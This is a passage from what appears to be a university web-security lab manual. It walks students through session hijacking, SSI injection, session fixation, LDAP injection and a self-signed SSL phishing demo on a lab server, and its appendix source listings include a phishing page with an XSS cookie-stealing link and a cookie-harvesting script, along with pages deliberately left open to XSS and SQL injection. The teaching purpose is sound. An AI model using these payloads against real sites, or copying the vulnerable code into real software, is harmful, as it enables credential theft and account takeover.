concatenation of the hour, minute, and second. Let’s assume for a moment that
we know what time a user logged in, or that this website gets a lot of traffic. This
would mean we can view the items in their cart.
25. Copy the cookie value from the first instance of the HTTP Editor and paste it into
the second instance of the HTTP Editor, replacing the cookie value.
26. Click Send.
Now you can view items in the other users session!
In this example, we simply copied the cookie value from the first window. However,
because the cookie value actually represents a specific time, on a busy site that logs in
one user every two minutes, we could simply log in once and then add to or subtract from
our cookie value in order to view the contents of other users’ carts.
Section 3.10 – Server-Side Include (SSI) Injection
Visit the WWWBoard page again. Then:
1. Enter your name and subject.
2. In the Message box, type:
<!--#include file="/storecsvs/web.config"-->
3. Click Post Message.
4. Click Go to Your Message.
The server will execute the command to display this file. As mentioned above,
web.config is protected from people viewing it remotely, but if it is included locally on
the server, then you can read it. The web.config contents will be displayed in the message
22
body when you view the message after it has been posted. Below are some other SSI tags
you can insert that will return data.
<!--#echo var=“DOCUMENT_URI”-->
<!--#echo var=“DATE_LOCAL”-->
<!--#exec cgi=“/web/index.asp” -->
Section 3.11 – Weak Password Recovery Validation
Most sites usually ask for your e-mail address, and then send your password to you in an
e-mail.
Click Recover Your Account Password to visit the password recovery page. The
problem with this application is that if you can provide valid Full Name and Email
fields, you can recover a user’s password. There are all sorts of ways this information can
be obtained. One method involves the wwwboard that we went to earlier. Click
WWWBoard and visit the post by John Smith. If you open his post, then put your mouse
over his name highlighted in blue, his e-mail address appears on the browser’s status line
(jsmith@spidynamics.com). If you visit the password recovery page and enter his name
and e-mail address, you will be able to get his password. The same thing works for his
wife, Sarah, who replied to his post.
Section 3.12 – Session Fixation
When you point your browser to http://172.16.10.17/storecsvs/, you will be redirected to
a URL similar to this:
http://172.16.10.17/storecsvs/(qzmxcoqnvxnqmvjqphhzk4ip)/Default.aspx
The webserver is not allowing you to access a resource until it has issued you a token.
ASP.NET’s sessionstate functionality puts that token (qzmxcoqnvxnqmvjqphhzk4ip) into
the URL. The vulnerability demonstrated here is that you could make your own token
and start using it, because ASP.NET doesn’t properly validate that it created the token.
Therefore, you can make your own tokens using an easy formula. Make sure you use azA-Z and that your token is 24 characters long (other lengths are also valid, but this is the
easiest example). Below is an example
http://172.16.10.17/storecsvs/(ithinkthatmicrosoftrules)/Login.aspx
If you visit this page, then click on any of the URLs on the left side of the page, you will
notice that the bogus token is perpetuated. In certain web applications, if you manage to
trick users into using your token, it may be possible for you to hijack their accounts.
Detailed information and examples on how session fixation can be exploited can be
found at http://www.securiteam.com/securityreviews/6B00L206AU.html.
Section 3.13 – Insufficient Session Expiration
If you log in to login.aspx, the application will issue a cookie that contains an
authorization token. This token is managed by ASP.NET’s Form Authentication, which is
a popular method of handling session management. Due to a misconfiguration, the
administrator of this application allows a session to be active for too long. Actually it will
23
be valid for 100000 minutes, or 1666.66 hours. This can give enough time for this
information to be cached by a proxy, and possibly exploited by an attacker. It is also
noted this application allows issuing a persistent cookie (a cookie saved on your disk)
that expires one month from the date you logged in. If a website contains any sensitive
information, it should not allow a persistent option.
Section 3.14 – LDAP Injection
LDAP Injection is very similar to SQL Injection. You modify the query being sent to a
server to perform a task not originally intended. On the main page of the portal, click on
Contact a site administrator. This will bring you to a form where you can enter a
student administrator’s name and receive contact information. An administrator named
sfaust currently maintains this portal, so enter “sfaust” into the form field and click
Search. The application will return his real name and contact information. The contact
information in the LDAP database is stored in sections called cn, mail, and
telephonenumber. We will try to obtain sfaust’s phone number only (rather than all his
contact information).
1. Click Back (to return to the Student Search Page)
2. In the form field, type the following:
sfaust)(|(telephonenumber=*)
3. Click Search.
You will see by the response that we managed to return only his phone number. This
means we are able to modify the LDAP query to do something other than what was
intended. Additional information on modifying LDAP queries can be found in the
SPIDynamics LDAP Injection paper at http://www.spidynamics.com/whitepapers.html
Section 4: Lab Addition Suggestions
You may have noticed that this lab was somewhat introductory and limited to cross site
scripting and sql injections. That is because it is still under development. There are many
topics related to web security that we want to cover, and by no means is the following list
an exhaustive one. However, the list below does specify topics that we would like groups
to implement (make like a section in the lab with questions):
 SSL and secure login (investigating the little lock icon that appears at the bottom
of a web page)
 Windows IIS vulnerabilities
 A more in-depth example using mysql and php
 Secure E-commerce example
 Writing secure dynamic web page code
 Windows meta-file exploit
 More detailed cookie threats
 Java Script/Applet Security
 Or if you can think of a better addition
24
Appendix A
JAVASCRIPT REFERENCE
The following is a brief reference of the Javascript language. It is in no means a complete
reference and only contains the relevant functions that you need for this lab. A more
complete reference can be found at:
http://www.w3schools.com/htmldom/default.asp
Javascript interfaces with the WC3 DOM (Document Object Model) to refer to all of the
components of a web page. The DOM is a platform independent interface that allows
many scripting languages to access objects presented in a page.
All Javascript code must be contained within <script></script> tags.
Two of the most commonly used, high-level objects are:
window – Corresponds to the browser window. A window object is created automatically
with every instance of a <body> or <frameset> tag.
document – Highest level object of the web page. All objects contained within the web
page are children of the document object.
document.<form name> - Refers to a formed <form_name>
The following is a list of functions and properties that you will need to know for this lab:
document.write(String text) – Writes a text String to the web page.
print(String text) – Same as the document.write() method
document.cookie – Reference to the cookie of the web page. This property is a String.
window.location.href – Refers to the URL of the web page. This reference is usually
used to redirect the client’s browser. This property is a String.
To write cookies in Javascript, the document.cookie object is set to a string in the
following format:
<cookie name>=<cookie value>; expires=<cookie expiration>; path=<path>
<cookie name> – refers to the name of the cookie
<cookie value> – refers to the value of the cookie
<expires> – refers to the time the cookie will expire, specified in GMT format. Use the
Date.toGMTString() to properly encode this format.
<path> – refers to the path that this cookie is valid for
25
Note: The “expires” field is set to a Javascript Date object. Date objects are created using
the new Date() constructor which returns a Date object initialized to the current date and
time. The date/time of a date object can be set with the Date.setTime(newTime) method,
where newTime is specified in milliseconds.
There exist more fields that can be written to the cookie, but these are the important ones
you will need for the lab.
26
Appendix B
PHP REFERENCE
The following is a brief reference of the PHP language. It is in no means a complete
reference and only contains the relevant functions that you need for this lab. A more
complete reference can be found at:
http://www.php.net/manual/en/
PHP is a popular scripting languages that enable developers to make dynamic web pages.
Some important points include:
-
All PHP code must be contained within <?php <php code goes here> ?> tags. A
shorthand for this is simply <? <php code goes here> ?>.
All variables in PHP are referred to by using the “$” symbol. For example, a
variable called foo would be references as $foo.
Every line of code in PHP must end with a “;”
The following is a list of PHP functions that you will see in the lab:
int print ( string arg )
Outputs arg. Returns 1, always. Works without the parenthesis.
void echo( string arg )
Same as the print() function
resource mysql_connect( server, username, password )
Opens a connection to a mysql database and returns as a resource object a
reference to the connection.
bool mysql_select_db ( string database_name )
Sets the current active database on the server that’s associated with the specified
database name. Every subsequent call to mysql_query() will be made on the active
database.
resource mysql_query ( string query )
Sends a specified SQL query to the currently active database which is set by
mysql_select_db(). Results of the query are returned in a resource object.
array mysql_fetch_assoc ( resource result )
Fetch a result row as an associative array. Returns an associative array that
corresponds to the fetched row and moves the internal data pointer ahead.
bool isset ( mixed var )
Determine whether the specified variable is set (ie if the variable exists).
27
string htmlentities ( string text )
Convert all applicable characters to HTML entities. This function is identical to
htmlspecialchars() in all ways, except with htmlentities(), all characters which have
HTML character entity equivalents are translated into these entities.
The $_GET, $_POST, and $_COOKIE are global PHP arrayvariables that refer to a web
requests get, post and cookie variable’s respectively. To get a specific value from each
one of these, use the [] notation.
Example:
$_GET[“foo”] returns the HTTP get variable called foo.
HTTP get variables are the same as variables that are passed onto the URL string.
28
Appendix C
SQL TUTORIAL
Included are excerpts from the w3schools SQL Tutorial. The full text may be
found at
http://www.w3schools.com/sql/sql_where.asp
Reproduced here are the Introduction, SQL The SELECT Statement, SQL The
WHERE Clause, and SQL Functions sections. The full SQL language is much
more complicated and even these excerpts are more than is strictly necessary to
know for this lab. These are provided as a reference and as a launching point for
those who want to learn more about SQL.
Introduction to SQL
SQL is a standard computer language for accessing and manipulating databases.
What is SQL?









SQL
SQL
SQL
SQL
SQL
SQL
SQL
SQL
SQL
stands for Structured Query Language
allows you to access a database
is an ANSI standard computer language
can execute queries against a database
can retrieve data from a database
can insert new records in a database
can delete records from a database
can update records in a database
is easy to learn
SQL is a Standard - BUT....
SQL is an ANSI (American National Standards Institute) standard computer language
for accessing and manipulating database systems. SQL statements are used to
retrieve and update data in a database. SQL works with database programs like MS
Access, DB2, Informix, MS SQL Server, Oracle, Sybase, etc.
Unfortunately, there are many different versions of the SQL language, but to be in
compliance with the ANSI standard, they must support the same major keywords in
a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).
Note: Most of the SQL database programs also have their own proprietary
extensions in addition to the SQL standard!
29
SQL Database Tables
A database most often contains one or more tables. Each table is identified by a
name (e.g. "Customers" or "Orders"). Tables contain records (rows) with data.
Below is an example of a table called "Persons":
LastName
Hansen
Svendson
Pettersen
FirstName
Ola
Tove
Kari
Address
Timoteivn 10
Borgvn 23
Storgt 20
City
Sandnes
Sandnes
Stavanger
The table above contains three records (one for each person) and four columns
(LastName, FirstName, Address, and City).
SQL Queries
With SQL, we can query a database and have a result set returned.
A query like this:
SELECT LastName FROM Persons
Gives a result set like this:
LastName
Hansen
Svendson
Pettersen
Note: Some database systems require a semicolon at the end of the SQL statement.
We don't use the semicolon in our tutorials.
SQL Data Manipulation Language (DML)
SQL (Structured Query Language) is a syntax for executing queries. But the SQL
language also includes a syntax to update, insert, and delete records.
These query and update commands together form the Data Manipulation Language
(DML) part of SQL:




SELECT - extracts data from a database table
UPDATE - updates data in a database table
DELETE - deletes data from a database table
INSERT INTO - inserts new data into a database table
30
SQL Data Definition Language (DDL)
The Data Definition Language (DDL) part of SQL permits database tables to be
created or deleted. We can also define indexes (keys), specify links between tables,
and impose constraints between database tables.
The most important DDL statements in SQL are:





CREATE TABLE - creates a new database table
ALTER TABLE - alters (changes) a database table
DROP TABLE - deletes a database table
CREATE INDEX - creates an index (search key)
DROP INDEX - deletes an index
SQL The SELECT Statement
The SELECT Statement
The SELECT statement is used to select data from a table. The tabular result is
stored in a result table (called the result-set).
Syntax
SELECT column_name(s)
FROM table_name
Select Some Columns
To select the columns named "LastName" and "FirstName", use a SELECT statement
like this:
SELECT LastName,FirstName FROM Persons
"Persons" table
LastName
Hansen
Svendson
Pettersen
FirstName
Ola
Tove
Kari
Address
Timoteivn 10
Borgvn 23
Storgt 20
City
Sandnes
Sandnes
Stavanger
Result
31
LastName
Hansen
Svendson
Pettersen
FirstName
Ola
Tove
Kari
Select All Columns
To select all columns from the "Persons" table, use a * symbol instead of column
names, like this:
SELECT * FROM Persons
Result
LastName
Hansen
Svendson
Pettersen
FirstName
Ola
Tove
Kari
Address
Timoteivn 10
Borgvn 23
Storgt 20
City
Sandnes
Sandnes
Stavanger
The Result Set
The result from a SQL query is stored in a result-set. Most database software
systems allow navigation of the result set with programming functions, like: MoveTo-First-Record, Get-Record-Content, Move-To-Next-Record, etc.
Programming functions like these are not a part of this tutorial. To learn about
accessing data with function calls, please visit our ADO tutorial.
Semicolon after SQL Statements?
Semicolon is the standard way to separate each SQL statement in database systems
that allow more than one SQL statement to be executed in the same call to the
server.
Some SQL tutorials end each SQL statement with a semicolon. Is this necessary? We
are using MS Access and SQL Server 2000 and we do not have to put a semicolon
after each SQL statement, but some database programs force you to use it.
32
The SELECT DISTINCT Statement
The DISTINCT keyword is used to return only distinct (different) values.
The SELECT statement returns information from table columns. But what if we only
want to select distinct elements?
With SQL, all we need to do is to add a DISTINCT keyword to the SELECT statement:
Syntax
SELECT DISTINCT column_name(s)
FROM table_name
Using the DISTINCT keyword
To select ALL values from the column named "Company" we use a SELECT statement
like this:
SELECT Company FROM Orders
"Orders" table
Company
Sega
W3Schools
Trio
W3Schools
OrderNumber
3412
2312
4678
6798
Result
Company
Sega
W3Schools
Trio
W3Schools
Note that "W3Schools" is listed twice in the result-set.
To select only DIFFERENT values from the column named "Company" we use a
SELECT DISTINCT statement like this:
SELECT DISTINCT Company FROM Orders
Result:
33
Company
Sega
W3Schools
Trio
Now "W3Schools" is listed only once in the result-set.
SQL The WHERE Clause
The WHERE clause is used to specify a selection criterion.
The WHERE Clause
To conditionally select data from a table, a WHERE clause can be added to the
SELECT statement.
Syntax
SELECT column FROM table
WHERE column operator value
With the WHERE clause, the following operators can be used:
Operator
=
<>
>
<
>=
<=
BETWEEN
LIKE
Description
Equal
Not equal
Greater than
Less than
Greater than or equal
Less than or equal
Between an inclusive range
Search for a pattern
Note: In some versions of SQL the <> operator may be written as !=
Using the WHERE Clause
To select only the persons living in the city "Sandnes", we add a WHERE clause to
the SELECT statement:
34
SELECT * FROM Persons
WHERE City='Sandnes'
"Persons" table
LastName
Hansen
Svendson
Svendson
Pettersen
FirstName
Ola
Tove
Stale
Kari
Address
Timoteivn 10
Borgvn 23
Kaivn 18
Storgt 20
City
Sandnes
Sandnes
Sandnes
Stavanger
Year
1951
1978
1980
1960
FirstName
Ola
Tove
Stale
Address
Timoteivn 10
Borgvn 23
Kaivn 18
City
Sandnes
Sandnes
Sandnes
Year
1951
1978
1980
Result
LastName
Hansen
Svendson
Svendson
Using Quotes
Note that we have used single quotes around the conditional values in the examples.
SQL uses single quotes around text values (most database systems will also accept
double quotes). Numeric values should not be enclosed in quotes.
For text values:
This is correct:
SELECT * FROM Persons WHERE FirstName='Tove'
This is wrong:
SELECT * FROM Persons WHERE FirstName=Tove
For numeric values:
This is correct:
SELECT * FROM Persons WHERE Year>1965
This is wrong:
SELECT * FROM Persons WHERE Year>'1965'
35
The LIKE Condition
The LIKE condition is used to specify a search for a pattern in a column.
Syntax
SELECT column FROM table
WHERE column LIKE pattern
A "%" sign can be used to define wildcards (missing letters in the pattern) both
before and after the pattern.
Using LIKE
The following SQL statement will return persons with first names that start with an
'O':
SELECT * FROM Persons
WHERE FirstName LIKE 'O%'
The following SQL statement will return persons with first names that end with an
'a':
SELECT * FROM Persons
WHERE FirstName LIKE '%a'
The following SQL statement will return persons with first names that contain the
pattern 'la':
SELECT * FROM Persons
WHERE FirstName LIKE '%la%'
SQL Functions
SQL has a lot of built-in functions for counting and calculations.
Function Syntax
The syntax for built-in SQL functions is:
36
SELECT function(column) FROM table
Types of Functions
There are several basic types and categories of functions in SQL. The basic types of
functions are:


Aggregate Functions
Scalar functions
Aggregate functions
Aggregate functions operate against a collection of values, but return a single value.
Note: If used among many other expressions in the item list of a SELECT statement,
the SELECT must have a GROUP BY clause!!
"Persons" table (used in most examples)
Name
Hansen, Ola
Svendson, Tove
Pettersen, Kari
Age
34
45
19
Aggregate functions in MS Access
Function
AVG(column)
COUNT(column)
COUNT(*)
FIRST(column)
LAST(column)
MAX(column)
MIN(column)
STDEV(column)
STDEVP(column)
SUM(column)
VAR(column)
VARP(column)
Description
Returns the average value of a column
Returns the number of rows (without a NULL value) of a
column
Returns the number of selected rows
Returns the value of the first record in a specified field
Returns the value of the last record in a specified field
Returns the highest value of a column
Returns the lowest value of a column
Returns the total sum of a column
37
Aggregate functions in SQL Server
Function
AVG(column)
BINARY_CHECKSUM
CHECKSUM
CHECKSUM_AGG
COUNT(column)
Description
Returns the average value of a column
Returns the number of rows (without a NULL value) of
a column
COUNT(*)
Returns the number of selected rows
COUNT(DISTINCT column) Returns the number of distinct results
FIRST(column)
Returns the value of the first record in a specified field
(not supported in SQLServer2K)
LAST(column)
Returns the value of the last record in a specified field
(not supported in SQLServer2K)
MAX(column)
Returns the highest value of a column
MIN(column)
Returns the lowest value of a column
STDEV(column)
STDEVP(column)
SUM(column)
Returns the total sum of a column
VAR(column)
VARP(column)
Scalar functions
Scalar functions operate against a single value, and return a single value based on
the input value.
Useful Scalar Functions in MS Access
Function
UCASE(c)
LCASE(c)
MID(c,start[,end])
LEN(c)
INSTR(c)
Description
Converts a field to upper case
Converts a field to lower case
Extract characters from a text field
Returns the length of a text field
Returns the numeric position of a named character
within a text field
LEFT(c,number_of_char)
Return the left part of a text field requested
RIGHT(c,number_of_char) Return the right part of a text field requested
38
ROUND(c,decimals)
MOD(x,y)
NOW()
FORMAT(c,format)
DATEDIFF(d,date1,date2)
Rounds a numeric field to the number of decimals
specified
Returns the remainder of a division operation
Returns the current system date
Changes the way a field is displayed
Used to perform date calculations
39
Appendix D
The following is a listing of source code that you will need to take a look at for this lab.
File: /ece4112/searchengine/search_results.php
<html>
<head>
<title>ECE4112 Search Results</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<body>
<strong>Your Search Query Was:</strong><br>
<? print $_GET["searchQuery"];?><br/><br/>
<a href="search.php">Back to Search Page</a>
<table cellspacing="5" width="100%" border="1">
<tr><td><strong>Search Results</strong></td></tr>
<tr><td>1. <a href="">PHP Guide - PHP.net</a></td></tr>
<tr><td>2. <a href="">PHP Tutorial</a></td></tr>
<tr><td>3. <a href="">An Idiots Guide to PHP</a></td></tr>
<tr><td>4. <a href="">PHP For Dummies</a></td></tr>
<tr><td>5. <a href="">Henry Owens Guide To Writing Secure PHP</a></td></tr>
<tr><td>6. <a href="">How to Hack PHP</a></td></tr>
</table>
</body>
</html>
40
File: /ece4112/cookie/login.php
<html>
<head>
<title>ECE4112 Insecure App Login</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<script language="Javascript">
function makeCookie(){
pword = document.loginForm.pword.value;
username = document.loginForm.username.value;
if ((username.length == 0) || (username == "")){
alert("Enter a username!!");
return false;
}
if ((pword.length == 0) || (pword == "")){
alert("Enter a super secret password!!");
return false;
}
else{
myDate = new Date();
myDate.setTime(myDate.getTime()+(365*24*60*60*1000));
document.cookie =
"superSecretPassword=" + pword+
"; expires=" + myDate.toGMTString() + "; path=/ece4112/cookie";
document.cookie =
"username=" + username +
";expires=" + myDate.toGMTString() + "; path=/ece4112/cookie";
return true;
}
}
</script>
<body>
<strong>Insecure App Login</strong>
<form id="loginForm" name="loginForm" method="post" action="welcome.php">
<table width="100%" border="0">
<tr><td><strong>Name:</strong></td></tr>
<tr><td>
<input type="text" id="username" name="username" maxlength="50">
</td></tr>
<tr><td><strong>Super Secret Password:</strong></td></tr>
<tr><td>
<input name="pword" id="pword" maxlength="20" type="password">
</td></tr>
<tr><td>
<input type="submit" onclick="javascript:makeCookie();" value="Login">
</td></tr>
</table>
</form>
</body>
41
</html>
42
File: /ece4112/cookie/welcome.php
<html>
<head>
<title>ECE4112 Insecure App Welcome Screen</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<body>
<script language="Javascript">
function checkCookie(){
var lf = "\n";
var CookieString = document.cookie;
var CookieSet = CookieString.split(';');
var SetSize = CookieSet.length;
var CookiePieces;
var ReturnValue="";
var x = 0;
for (x = 0; ((x < SetSize) && (ReturnValue == "")); x++){
CookiePieces = CookieSet[x].split('=');
if (CookiePieces[0].substring(0,1) == ' ' ){
CookiePieces[0] =
CookiePieces[0].substring(1, CookiePieces[0].length);
}
if (CookiePieces[0] == "superSecretPassword"){
ReturnValue = CookiePieces[1];
}
}
return ReturnValue;
}
if (checkCookie() == ""){ // no cookie found, relocate to login.php
window.location.href="login.php";
}
</script>
<?
if (isset($_GET["username"])){
$cur_username = $_GET["username"];
}
else if (isset($_POST["username"])){
$cur_username = $_POST["username"];
}
else if (isset($_COOKIE["username"])){
$cur_username = $_COOKIE["username"];
}
else{
$cur_username = "No Name";
}
echo "<strong>LOGIN SUCCESSFULL!</strong><br/><br/>";
echo "<strong>Welcome, ".$cur_username."</strong>";
?>
</body>
</html>
43
File: /ece4112/badcookie/badmail.php
<? include "../common/web_server_ip.php"; ?>
<html>
<head>
<title>ECE4112 - A Malicious Message</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<body>
<strong>This is an example of a malicious email that will try to steal your
cookie</strong><br/><br/>
<table width="100%" cellspacing=5>
<tr><td><strong>From: </strong>admin@insecurewebsite.com</td></tr>
<tr><td><strong>To: </strong>you@yourself.com</td></tr>
<tr><td><strong>Subject: </strong>Please login to the system
immediately</td></tr>
<tr><td><strong>Body:</strong></td></tr>
<tr><td>
<p>Dear Valued Customer:
Your financial information is out of date. Please click the following
link to login to the system.
<a href="http://<? echo $web_server_ip;
?>/ece4112/cookie/welcome.php?username=<script>document.location=%22http://<?
echo $web_server_ip;
?>/ece4112/badcookie/harvestcookies.php?sucker=%22%20%2Bdocument.cookie;</scrip
t>">Login to Website</a>
<br/>
</p>
</td></tr>
</table>
</body>
</html>
44
File: /ece4112/badcookie/harvestcookie.php
<? include "../common/web_server_ip.php" ?>
<html>
<head>
<title>ECE4112 Cookie Harvester</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<body>
<?
if (isset($_GET["sucker"]) || isset($GET["sucker2"])){
if (isset($_GET["sucker"])){
$stolenCookie = $_GET["sucker"];
}
else if (isset($_GET["sucker2"])){
$stolenCookie = $_GET["sucker2"];
}
$cookieParts = split(";",$stolenCookie);
$tempPart0 = split("=",$cookieParts[0]);
$tempPart1 = split("=",$cookieParts[1]);
if ($tempPart0[0] == "superSecretPassword"){
$myPassword = $tempPart0[1];
$myUsername = $tempPart1[1];
}
else{
$myPassword = $tempPart1[1];
$myUsername = $tempPart0[1];
}
$sql = "INSERT INTO `cookies` (username, password) VALUES
('".$myUsername."','".$myPassword."')";
$myDB = mysql_connect("localhost", "root", "password");
mysql_select_db("ece4112");
$result = mysql_query($sql);
mysql_close($myDB);
}
?>
<script language="Javascript">
<? if (isset($_GET["sucker"])){
print
"window.location.href=\""+$web_server_ip+"/ece4112/cookie/welcome.php\"";
}
else if (isset($_GET["sucker2"])){
print
"window.location.href=\""+$web_server_ip+"/ece4112/messageboard/messages.php\""
;
}
?>
</script>
</body>
</html>
45
File: /ece4112/messageboard/messages.php
<!--- this is the file that displays all messages in the database --->
<html>
<head>
<title>ECE4112 Message Board - List Messages</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<body>
<script language="Javascript">
function checkCookie(){
var lf = "\n";
var CookieString = document.cookie;
var CookieSet = CookieString.split(';');
var SetSize = CookieSet.length;
var CookiePieces;
var ReturnValue="";
var x = 0;
for (x = 0; ((x < SetSize) && (ReturnValue == "")); x++){
CookiePieces = CookieSet[x].split('=');
if (CookiePieces[0].substring(0,1) == ' ' ){
CookiePieces[0] = CookiePieces[0].substring(1,
CookiePieces[0].length);
}
if (CookiePieces[0] == "superSecretPassword"){
ReturnValue = CookiePieces[1];
}
}
return ReturnValue;
}
if (checkCookie() == ""){ // no cookie found, relocate to login.php
window.location.href="login.php";
}
</script>
<?
if (isset($_GET["username"])){
$cur_username = $_GET["username"];
}
else if (isset($_POST["username"])){
$cur_username = $_POST["username"];
}
else if (isset($_COOKIE["username"])){
$cur_username = $_COOKIE["username"];
}
else{
$cur_username = "No Name";
}
echo "<strong>LOGIN SUCCESSFULL!</strong><br/><br/>";
echo "<strong>Welcome, ".$cur_username."</strong>";
?>
<br><br>
<a href="add_message_form.php">Post Message</a><br/>
<?
$sql = 'SELECT * FROM `messages`';
$myDB = mysql_connect("localhost", "root", "password");
mysql_select_db("ece4112");
46
$result = mysql_query($sql);
echo "<table border=1 width=100%>";
echo "<tr><td><strong>Message Title</strong></td></tr>";
while ($row = mysql_fetch_assoc($result)){
echo "<tr>";
echo "<td><a href=view_message.php?msg_id=" . $row['msg_id'] . ">";
echo $row['title'];
echo "</a></td></tr>";
}
echo "</table>";
mysql_free_result($result);
mysql_close($myDB);
?>
</body>
</html>
47
File: /ece4112/messageboard/view_message.php
<!--- this is the file that lets users view a message with msg_id equal
to the url variable msg_id --->
<html>
<head>
<title>ECE4112 Message Board - View Message</title>
<link rel="stylesheet" type="text/css" href="../common/master.css"/>
</head>
<body>
<a href="messages.php">Back to Message Listing</a><br/>
<?
if (!isset($_GET["msg_id"])){
$cur_msg_id = -1;
}
else{
$cur_msg_id = $_GET["msg_id"];
}
echo "<table width=100% border=0><tr><td colspan=2><strong>View
Message</strong></td></tr>";
$sql = 'SELECT * FROM `messages` WHERE `messages`.msg_id = ' . $cur_msg_id;
$myDB = mysql_connect("localhost", "root", "password");
mysql_select_db("ece4112");
$result = mysql_query($sql);
if (!$result){
die("ERROR: errno=".mysql_errno($myDB)." msg=".mysql_error($myDB));
}
$row = mysql_fetch_assoc($result);
echo "<tr><td width=20%><strong>Message
ID:</strong></td><td>".$row["msg_id"]."</tr>";
echo "<tr><td width=20%><strong>Message
Title:</strong></td><td>".$row["title"]."</tr>";
echo "<tr><td colspan=2><strong>Message Body:</strong></td></tr>";
echo "<tr><td colspan=2>".$row["body"]."</td></tr>";
echo "</table>";
mysql_free_result($result);
mysql_close($myDB);
?>
</body>
</html>
48
REFERENCES
Champeon, Stevev. "XSS, Trust, and Barney." 27 Apr. 2000. 15 Nov. 2005
<http://webmonkey.wired.com/webmonkey/00/18/index3a.html>.
"Cross site scripting." Wikipedia. 15 Nov. 2005
<http://en.wikipedia.org/wiki/Cross_site_scripting>.
"HTML DOM Reference." W3Schools. 15 Nov. 2005
<http://www.w3schools.com/htmldom/dom_reference.asp>.
"HTTP Cookie." Wikipedia. 15 Nov. 2005 <http://en.wikipedia.org/wiki/HTTP_cookie>.
Klein, Amit. "DOM Based Cross Site Scripting or XSS of the Third Kind." 04 July 2005.
15 Nov. 2005 <http://www.webappsec.org/projects/articles/071105.shtml>.
L., Montulli, and Kristol D. "RFC 2965: HTTP State Management Mechanism." Oct.
2000. 15 Nov. 2005 <http://www.ietf.org/rfc/rfc2965.txt>.
Mangarae, Aelphaeis. "XSS Attacks FAQ." 15 Nov. 2005
<http://astalavista.com/index.php?section=directory&cmd=detail&id=4522>.
Ollman, Gunter. "Second-order Code Injection Attacks." 15 Nov. 2005
<http://www.nextgenss.com/papers/SecondOrderCodeInjection.pdf>.
"PHP Manual." 15 Nov. 2005 <http://www.php.net/manual/en/>.
"The Cross Site Scripting FAQ." May 2005. 15 Nov. 2005
<http://www.cgisecurity.com/articles/xss-faq.shtml>.
49
Appendix E
SSL Phishing
Background: In computing, phishing is a form of criminal activity using social
engineering techniques, characterized by attempts to fraudulently acquire sensitive
information, such as passwords and credit card details, by masquerading as a trustworthy
person or business in an apparently official electronic communication, such as an email
or an instant message. The term phishing arises from the use of increasingly sophisticated
lures to "fish" for users' financial information and passwords. [1]
Recently some clever phishers have added a new layer of subterfuge called the secure
phish. It uses the padlock icon indicating that your browser has established a secure
connection to a Web site to lull you into a false sense of security. According to Internet
security company SurfControl, phishers have begun to outfit their counterfeit sites with
self-generated Secure Sockets Layer certificates. To distinguish an imposter from the
genuine article, you should carefully scan the security certificate prompt for a reference
to either "a self-issued certificate" or "an unknown certificate authority." [2]
Goals: Setup an example to demonstrate the false sense of security that a SSL phishing
website can achieve.
Configuring Apache
For this part of the lab, you will need to make sure you have mod_ssl installed before
continuing with this part of the lab. To install:




Applications  System Settings  Add/Remove Applications
Under Servers find Web Server
Open Details
Select mod_ssl
Now we need to make a few minor modifications to the default Apache/SSL
configuration. Go the Apache configuration directory:
NOTE: All the directories in this part of the lab should be correct. If you have trouble
finding any specific file, you can use the locate command, but make sure you run
updatedb first since we just installed new software.
We need to adjust the default virtual host settings
# cd /etc/httpd/conf
# vi httpd.conf
50
Go to the very bottom (CTRL+F/B in vi for page down/up) of the file and you should see
Section 3: Virtual Hosts. You need to modify it to look like this:
----- [BEGIN: httpd.conf]
#
# Use name-based virtual hosting.
#
NameVirtualHost *:80
#
# VirtualHost example:
#
<VirtualHost *:80>
ServerName www.lawn.gatech.edu
DocumentRoot /var/www/html
</VirtualHost>
----- [END: httpd.conf]
You may notice the www.lawn.gatech.edu. Since we aren’t connected to the Internet in
the lab, we have to fake it. Open your /etc/hosts file and add the following entry to the
end of the file:
# vi /etc/hosts
57.35.6.x
www.lawn.gatech.edu
Now add a default page to the new VirtualHost:
# echo “<?php phpinfo(); ?>” > /var/www/html/index.php
Start Apache:
# apachectl start
At this point, you should be able to open Mozilla Firefox and navigate to
http://www.lawn.gatech.edu and you should see the PHP configuration page. If
everything works, go ahead and stop Apache then continue:
# apachectl stop
Generating/Signing SSL Certificates
Now before we can setup the SSL virtual host in Apache we have to generate our own
certificate and sign it ourselves (since we don’t want to pay for an SSL certificate for
each group).
51
# cd /etc/httpd/conf (you should be here already)
# mkdir ssl
# cd ssl
# openssl genrsa –out www.lawn.gatech.edu.key 1024
# chmod 0400 www.lawn.gatech.edu.key
# openssl req –new –x509 –nodes –sha1 –days 7 –key www.lawn.gatech.edu.key –out
www.lawn.gatech.edu.crt
At the prompts, enter the following:
Country: US
State: Georgia
City: Atlanta
Organization: Georgia Tech
Organizational Unit: Group #x
Common Name: www.lawn.gatech.edu
Email: <press enter / leave blank>
Configuring SSL in Apache
Now we have our certificate generated and signed, we can configure the SSL virtual host
in Apache. Go to the /etc/httpd/conf.d directory and open the ssl.conf file:
# cd /etc/httpd/conf.d
# vi ssl.conf
You should see a similar section as before. Make the necessary changes so your file
looks like this:
----- [BEGIN: ssl.conf]
<VirtualHost *:443>
# General setup for the virtual host, …
DocumentRoot “/var/ww/html”
ServerName www.lawn.gatech.edu:443
…
# Server Private Key:
SSLCertificateFile /etc/httpd/conf/ssl/www.lawn.gatech.edu.crt
…
# Server Certificate:
SSLCertificateKeyFile /etc/httpd/conf/ssl/www.lawn.gatech.edu.key
----- [END: ssl.conf]
52
Start Apache:
# apachectl start
Demonstrate An Example SSL Phish Attack
You need to get the source files for the web pages off the network storage. Mount NAS
(refer to previous labs if you are having issues), and copy the Lab9/ssl-phish-example.tgz.
# cp /mnt/nas4112/Lab9/ssl-phish-example.tgz
# tar –zxvf ssl-phish-example.tgz –C /var/www/html
At this point, your Apache should be configured with SSL. Try opening Mozilla Firefox
and navigate to https://www.lawn.gatech.edu.
Q1.1: What is happening and why the warning message?
Q1.2: Do you think the typical user would understand this type of warning
message? Why or Why not?
Click “Examine Certificate…” and look at the SSL Certificate this is being used.
Q1.3 Does the certificate look legitimate to you? Do you think the certificate would
look legitimate to the average user?
